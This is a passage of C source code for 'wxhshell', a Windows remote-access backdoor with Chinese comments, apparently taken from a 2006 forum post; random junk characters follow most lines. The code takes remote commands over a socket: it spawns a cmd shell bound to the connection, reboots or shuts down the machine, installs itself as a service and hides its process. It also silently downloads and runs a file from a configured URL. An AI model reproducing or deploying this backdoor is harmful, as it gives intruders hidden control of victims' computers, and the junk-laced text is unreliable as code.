    switch(cmd[0]) { b4wT3  
  445JOP  
  // 帮助 M-].l3  
  case '?': { :q3w;B~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3:Nc`tM_  
    break; 3PvxU|*F  
  } U;iCH  
  // 安装 Gjeb)Y6N  
  case 'i': { g"" 1\rc=  
    if(Install()) MJX4;nbl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (hOD  
    else A-L1vu;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I(7 GVYM  
    break; 9b >+ehjB  
    } 4z P"h0  
  // 卸载 mf g>69,w  
  case 'r': { W*s=No3C  
    if(Uninstall()) P !f{U;B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mLEwNhRY  
    else `W}pA mhj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^m'r+B"  
    break;  Ps.xY;Y  
    } G^ k8Or2  
  // 显示 wxhshell 所在路径 oJNQdW[  
  case 'p': { Ns YEBT7f  
    char svExeFile[MAX_PATH]; { Zv%DV4_$  
    strcpy(svExeFile,"\n\r"); <D:q4t  
      strcat(svExeFile,ExeFile); !X: TieyVu  
        send(wsh,svExeFile,strlen(svExeFile),0); ma-GvWD2  
    break; s@&3;{F6D  
    } VDOC>  
  // 重启 Cxq |N]E  
  case 'b': { @7"n X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=$ pV==  
    if(Boot(REBOOT)) JAKs [@:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3mofp`e  
    else { sg-^ oy*^  
    closesocket(wsh); /-!Fr:Ox>  
    ExitThread(0); O)V;na  
    } #Tzs9Bkaca  
    break; ~Y f8,m  
    } l"[.Q>d  
  // 关机 B&B4 P  
  case 'd': { %6@)fRw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zjA#8;h~w  
    if(Boot(SHUTDOWN)) pHb,*C</  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DjaXJ?'  
    else { pjS##pgVq  
    closesocket(wsh); n;. M5}O  
    ExitThread(0); _,0.h*c  
    } /,uxj5_cT  
    break; CvRCcSJM\2  
    } Oto8?4[n  
  // 获取shell O7IYg;  
  case 's': { g&$5!ifgi  
    CmdShell(wsh); p @q20>^u  
    closesocket(wsh); 5N>flQ  
    ExitThread(0); \C~6 '  
    break; 72RTEGy  
  }  nm`( ;<W  
  // 退出 %JPr 7 }  
  case 'x': { hj"JmF$m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rD$5]%Y  
    CloseIt(wsh); IAkQR0fcN  
    break; 0TV16 --  
    } &k|EG![  
  // 离开 m4W (h6  
  case 'q': { m Qx1co  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {?^ES*5  
    closesocket(wsh); ; Yc\O:Qq  
    WSACleanup(); 6'mZM=d  
    exit(1); ~t2" L|i  
    break; U) xeta+  
        } VJ'-"8tY&  
  } 6(?@B^S>2  
  } q("l?'  
c8]%,26.  
  // 提示信息 E$8-8[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0=7Ud<  
} 65@GXn[W_  
  } r9(c<E?,h  
)IK%Dg(v  
  return; MY\mo,#  
} [-#1;!k  
xzz@Wc^_  
// shell模块句柄 M@q)\UQ'  
int CmdShell(SOCKET sock) $A74V [1^  
{ kz1Z K  
STARTUPINFO si; qooTRqc#,  
ZeroMemory(&si,sizeof(si)); 7o+VhW<|5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Jd a:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (?uK  
PROCESS_INFORMATION ProcessInfo; aH%tD!%,o  
char cmdline[]="cmd"; Dz.kJ_"Ro  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NI:OL  
  return 0; |9 *$6Y  
} yTbtS-  
K; hP0J  
// 自身启动模式 }Dcpe M?  
int StartFromService(void) OmK0-fa/  
{ O*/Utl  
typedef struct 2y$DTMu  
{ uU$/4{  
  DWORD ExitStatus; ](-[ I#  
  DWORD PebBaseAddress; v{lDEF@2^N  
  DWORD AffinityMask; v(O@~8(I  
  DWORD BasePriority; lr)MySsu#H  
  ULONG UniqueProcessId; <.lN'i;(  
  ULONG InheritedFromUniqueProcessId; y&4im;X0  
}   PROCESS_BASIC_INFORMATION; GQ.akA_(  
gQ '=mU  
PROCNTQSIP NtQueryInformationProcess; ?OO !M  
`ALQSo~l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u0+<[Ia'q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )('{q}JxV  
Nt<Ac&6 s  
  HANDLE             hProcess; WpI5C,3Z!l  
  PROCESS_BASIC_INFORMATION pbi; WV|9d}5  
YE"MtL {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c7?|Tipc  
  if(NULL == hInst ) return 0; RvVF^~u  
@ *T8>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3e;K5qSeo/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (|6!pQ7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7S&O {Q7)  
[)[?FG9   
  if (!NtQueryInformationProcess) return 0; +C`vO5\0  
{iLr$ 89  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); odcrP\S  
  if(!hProcess) return 0; jP3~O  
n n8N 9w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'i/"D8  
nM$-L.dG  
  CloseHandle(hProcess); {;UBW7{  
OH+2)X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z"sv,W  
if(hProcess==NULL) return 0; NlG!_D"(y  
aI\ >=*HF  
HMODULE hMod; ok&v+A  
char procName[255]; }2?-kj7  
unsigned long cbNeeded; Si#XF[/  
_{i- .;K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OJcI0(G  
g;3<oI/P  
  CloseHandle(hProcess); &19z|Id  
q*J-ii  
if(strstr(procName,"services")) return 1; // 以服务启动 kA4kQ}q  
'_=XfTF  
  return 0; // 注册表启动 EX3;|z@5;  
} 'aZAWY d  
97 !VH> MX  
// 主模块 BS3BJwf; f  
int StartWxhshell(LPSTR lpCmdLine) T:j!a{_|  
{ pHDPj,lu  
  SOCKET wsl; n lvDMZ  
BOOL val=TRUE; TU8K\;l]  
  int port=0; Zf\It<zT5  
  struct sockaddr_in door; 6 ^p>f:5  
v".u#G'u  
  if(wscfg.ws_autoins) Install(); n-lDE}K9%B  
@)@hzXQ  
port=atoi(lpCmdLine); !.={p8X-x  
CH h6Mnw  
if(port<=0) port=wscfg.ws_port; lFM'F[-?-  
U &W}c^#  
  WSADATA data; Cd'SPaR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w+ibY  
YC~kq?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kmL~H1qd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +Mh9Jf  
  door.sin_family = AF_INET; Tq.%_/@M<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u"r1RG'  
  door.sin_port = htons(port); b{JxTT}03  
Sh5SOYLz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { laFF/g;sRC  
closesocket(wsl); ] yXrD`J!  
return 1; G Q+g.{c  
} w.0]>/C  
m`ab5<%Gn  
  if(listen(wsl,2) == INVALID_SOCKET) { (V~PYf%  
closesocket(wsl); {?'c|\n Li  
return 1; G9\@&=  
} p>]2o\["  
  Wxhshell(wsl); &5wM`  
  WSACleanup(); R_DZJV O  
j]_"MMwk$<  
return 0; %8GY`T:^  
s%qK<U4@;Q  
} ut^^,w{o>  
ViT$]Nv  
// 以NT服务方式启动 VlFDMw.4.+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e_pyjaY!s  
{ Bx&wS|-)D  
DWORD   status = 0; $lrq*Nf9c  
  DWORD   specificError = 0xfffffff; HPR*:t  
'roZ:NE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x-{awP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *[_>d.i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AU +2'  
  serviceStatus.dwWin32ExitCode     = 0; u kKp,1xz  
  serviceStatus.dwServiceSpecificExitCode = 0; w,FOq?j^k  
  serviceStatus.dwCheckPoint       = 0; f9 b=Zm'  
  serviceStatus.dwWaitHint       = 0; m)9qO7P  
2L_ts=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bMw)> 4  
  if (hServiceStatusHandle==0) return; lTv_%hUp  
!M&B=vk4  
status = GetLastError(); G(~"Zt}?  
  if (status!=NO_ERROR) (yel  
{ M e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U8KEg)Msk  
    serviceStatus.dwCheckPoint       = 0; f)+fdc  
    serviceStatus.dwWaitHint       = 0; ojH-;|f  
    serviceStatus.dwWin32ExitCode     = status; SW%d'1ya  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9WuKW***  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vb.`rj6  
    return; _,4f z(  
  } Ls^$E  
=2eG j'}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `cr.C|RT:  
  serviceStatus.dwCheckPoint       = 0; Ci ? +Sl  
  serviceStatus.dwWaitHint       = 0; ^CwzA B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M -df Gk  
} i'%:z]hp9  
q|%(47}z  
// 处理NT服务事件,比如:启动、停止 ^4yFLqrC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GZ]; U] _  
{ daZY;_{"o  
switch(fdwControl) A %s"WSx,  
{ vx_v/pD  
case SERVICE_CONTROL_STOP: >p 7e6%  
  serviceStatus.dwWin32ExitCode = 0; RSY{IY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { O*maE"  
  serviceStatus.dwCheckPoint   = 0; &?<o692  
  serviceStatus.dwWaitHint     = 0; 3RP}lb  
  { z<jWy$Ta;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vF=d`T<  
  } NY ZPh%x  
  return; 89'XOXl&1  
case SERVICE_CONTROL_PAUSE: Z\y@rp\l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eID"&SSU  
  break; HBL)_c{/O  
case SERVICE_CONTROL_CONTINUE: )nS;]7pB@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d\V\,% &.  
  break; PU^Z7T);  
case SERVICE_CONTROL_INTERROGATE: BS#@ehdig  
  break; f,Sybf/uHh  
}; U:E:"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &k?Mt #J  
} <c{RY.1[  
56m|gZcC  
// 标准应用程序主函数 @"H+QVJ@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fmvv q1G&  
{ fO.gfHI  
s]r"-^eS3  
// 获取操作系统版本 ?'h<yxu]u0  
OsIsNt=GetOsVer(); qf9.S)H1Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #]|9aVrr  
mIZ#uW  
  // 从命令行安装 13Ee"r  
  if(strpbrk(lpCmdLine,"iI")) Install(); o=2y`Eq  
R gEKs"e  
  // 下载执行文件 oM$EQd`7  
if(wscfg.ws_downexe) { >b0e"eGt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /9WR>NUAO  
  WinExec(wscfg.ws_filenam,SW_HIDE); *IGgbg[0  
} M#d_kDMw  
R/iw#.Yy  
if(!OsIsNt) { !\8j[QS!  
// 如果时win9x,隐藏进程并且设置为注册表启动 G)?O!(_  
HideProc(); 0QDm3V0n  
StartWxhshell(lpCmdLine); 0bpl3Fh.v  
} L;'+O u  
else ZSMOq4Y 9  
  if(StartFromService()) #oi4!%*M  
  // 以服务方式启动 fdCsn:  
  StartServiceCtrlDispatcher(DispatchTable); .Lp0_R@  
else 0%+TU4Xx  
  // 普通方式启动 G;MgrA#\  
  StartWxhshell(lpCmdLine); <vA^%D<\~  
hsljJvs  
return 0; 5Y)!q?#H  
}
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只看该作者 1 发表于: 2006-10-10
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